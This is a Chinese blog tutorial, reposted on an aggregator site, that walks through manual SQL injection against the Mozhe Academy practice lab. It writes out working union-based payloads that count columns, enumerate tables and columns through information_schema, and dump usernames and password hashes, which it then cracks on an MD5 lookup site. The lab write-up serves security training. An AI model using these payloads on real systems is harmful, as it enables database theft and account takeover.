文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

实战感受SQL注入(手工注入)

2023-08-31 14:08

关注

前言

在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。

实战感受SQL注入

墨者学院手工SQL注入

点击WEB安全,点击SQL注入

在这里插入图片描述

我们使用墨者学院的SQL手工注入漏洞测试(MySQL数据库),点击启动靶场环境

image-20230314212037495

访问下方给的IP和端口,或点击 [点击访问]

image-20230318102915358

点击关于平台停机维护

image-20230318103348498

跳转页面后,我们看地址栏中又?id,该处通过GET参数传递

image-20230318103551129

我们在此处可以使用让其出错的方式验证,尝试验证此处参数是否传入后台,并代入数据库查询

在?id=1后面输入 and 1=2

image-20230318103725863

发现页面显示出错,说明此处的参数是有被传入后台并且代入数据库查询

在SQL注入中很经常使用union查询来查询我们想要的信息,但是基于数据库的只是,我们知道当我们使用SQL语句进行查询的时候需要知道有几个字段。

但问题是我们此时进行的是黑盒测试,也就是我们并不知道数据库的结构是什么样子的,那么此时我们该怎么办呢?

在SQL注入中很经常使用order by猜测有几个字段

我们回到实战中, 我们在?id后面输入 order by 4

image-20230318104727270

发现页面是正常回显,再次在?id后面输入 order by 5

image-20230318104806938

此时发现页面回显不正常,说明字段数就为5-1=4个

当我们知道了字段数之后就可以使用联合查询(union)

由于我们已经知道了有四个字段,所以直接就可以在?id=1后面加上 union select 1,2,3,4

$id = $_GET["id"];$sql = "select [四个字段] from [表] where id=$id";

这里的$id就是我们通过GET方式传入的参数

image-20230318105723381

发现页面回显正常,紧接着我们使union前的语句为假

image-20230318112642284

我们发现页面回显了2和3。我们可以在union语句后的2和3处填入我们想要查询的信息

将2和3的位置上填入version()和database()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hdfoAM4f-1679114292375)(null)]

发现返回了数据库版本和数据库的名称

再在2和3的输入user()和@@version_compile_os

image-20230318113622669

得到信息:

当我们拿到这些信息之后可以有进一步的操作,我们可以通过拿到的数据库名进行查看该数据库下的表名

我们可以在?id=-1后面输入union select 1,table_name,3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

在这里插入图片描述

页面中返回了表名,这里只能输出了一个表名,但是不代表这个数据库下只有一张表

我们可以使用group_concat()让其输出所有的表名

在?id=-1后面输入union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

image-20230318115118850

我们发现将该数据库下的表名都输出了

  1. StormGroup_member
  2. notice

当我们使用SQL语句进行查询的时候,需要知道表名外还需要知道列名,举个很简单的例子

所以当我们拿到表名之后,紧接着我们就需要知道列名,才能查询到我们想要的信息

回顾刚才我们查找到的数据库名,根据数据库名的意思我们发现StormGroup_member存放的应该是用户的信息,更具有价值所以我们优先查询StormGroup_member下的列名信息

在?id=-1后面输入union select 1,column_name,3,4 from information_schema.columns where table_name = 'StormGroup_member'

image-20230318120600177

我们发现其也只输出了一个列名,所以我们依然可以使用group_concat()让其输出所有的列名

在?id=-1后面输入union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'

image-20230318120929962

页面回显除了StormGroup_member表下所有的列名

到此我们就可以使用这些列名查询相关的信息了,我们查询name和password

在?id=-1后面输入union select 1,group_concat(name),group_concat(password) from StormGroup_member

我们使用group_concat()的方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uvpY9maW-1679114292387)(null)]

发现输出了用户名和密码,我们使用其中一组尝试登录

image-20230318121711795发现错误,这时我们想到可能是密码进行了加密,这个加密的方式我们可以看出是md5加密,于是我们访问md5加密解密的网站

搜索md5解密即可

image-20230318121833904

将刚才得到的md5进行解密,得到了密码dsan13

image-20230318122040320

再次返回刚才的登录界面,尝试登陆

image-20230318122221713

发现用户被禁用或不存在用户,不过没关系,刚才我们在获取用户名密码的时候有两组,我们使用另一组,对另一组的密码进行md5解密,再次尝试登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FXJ2ZW7a-1679114288267)(null)]

成功进入后台,并且拿到了KEY

复制KEY之后返回刚才进入靶场的界面,点击提交KEY

image-20230318122427272

将刚才的KEY复制进去点击确定

image-20230318122450813

弹窗左下角显示KEY正确即为成功

image-20230318122544672

知识点总结

MySQL中的系统库

库:

表:

这些库都是在information_schema库中,information_shcema.tables的意思就是information_schema库下的tables表

列名:

MySQL中的一些特殊列

结束语

到此,你就完成了第一次靶场的练习,你感受了SQL手工注入。

希望本文能够帮助到你 😃

本文已同步更新至个人博客:https://www.hibugs.net/security/vulnerability/sql-insert/lamar/sql-insert-hdwrk

来源地址:https://blog.csdn.net/qq_45477063/article/details/129635255

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯